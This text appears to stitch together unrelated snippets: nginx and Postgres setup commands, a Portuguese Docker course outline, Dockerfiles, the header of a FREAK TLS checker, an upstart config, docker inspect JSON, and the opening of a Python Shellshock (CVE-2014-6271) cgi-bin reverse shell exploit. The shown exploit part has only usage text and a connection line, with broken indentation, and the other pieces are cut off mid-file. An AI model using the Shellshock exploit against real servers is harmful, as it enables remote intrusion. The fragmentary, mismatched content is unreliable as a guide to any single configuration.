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# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

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Criar super usuário:

$ sudo -u postgres createuser --superuser $USER

Adicionar extensões:

$ sudo -u postgres psql template1 -c 'create extension if not exists "hstore"'

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1. Introdução

• O que é Docker ?
• O que diferencia um container de uma máquina virtual ?
• O que são Namespaces ?
• Para que serve o Cgroups ?
• O que é Union file systems ?

2. Explorando o Docker

• Instalação
• Hello, Docker!

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FROM ruby:2.2.1

RUN apt-get update -qq && apt-get install -y \
	build-essential \
	nodejs \
	postgresql-client

ENV APP_HOME /app
RUN mkdir $APP_HOME
WORKDIR $APP_HOME

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# Run container
#
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \
#     -v $(pwd)/.telegram:/root/Downloads/Telegram \
#     -e DISPLAY=unix$DISPLAY \
#     infoslack/telegram
#
FROM ubuntu:14.04
MAINTAINER Daniel Romero <[email protected]>

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#!/usr/bin/env bash

# check_freak.sh
# (c) 2015 Martin Seener

# Simple script which checks SSL/TLS services for the FREAK vulnerability (CVE 2015-0204)
# It will output if the checked host is vulnerable and returns the right exit code
# so it can also be used as a nagios check!

PROGNAME=$(basename $0)

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description "project api server config"

start on started project_name
stop on stopped project_name

pre-start script
  mkdir -p /var/log/puma
  chown www-data. /var/log/puma

  mkdir -p /var/run/puma

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[{
    "Args": [
        "-g",
        "daemon off;"
    ],
    "Config": {
        "AttachStderr": false,
        "AttachStdin": false,
        "AttachStdout": false,
        "Cmd": [

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FROM ubuntu:trusty

# Update the repository
RUN apt-get update
 
# Install necessary tools
RUN apt-get install -y wget net-tools build-essential git

# Setup Install Nginx
RUN wget -q -O - http://nginx.org/keys/nginx_signing.key | apt-key add -

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# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
  
import httplib,urllib,sys
  if (len(sys.argv)<3):
    print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
  exit(0)
  
conn = httplib.HTTPConnection(sys.argv[1])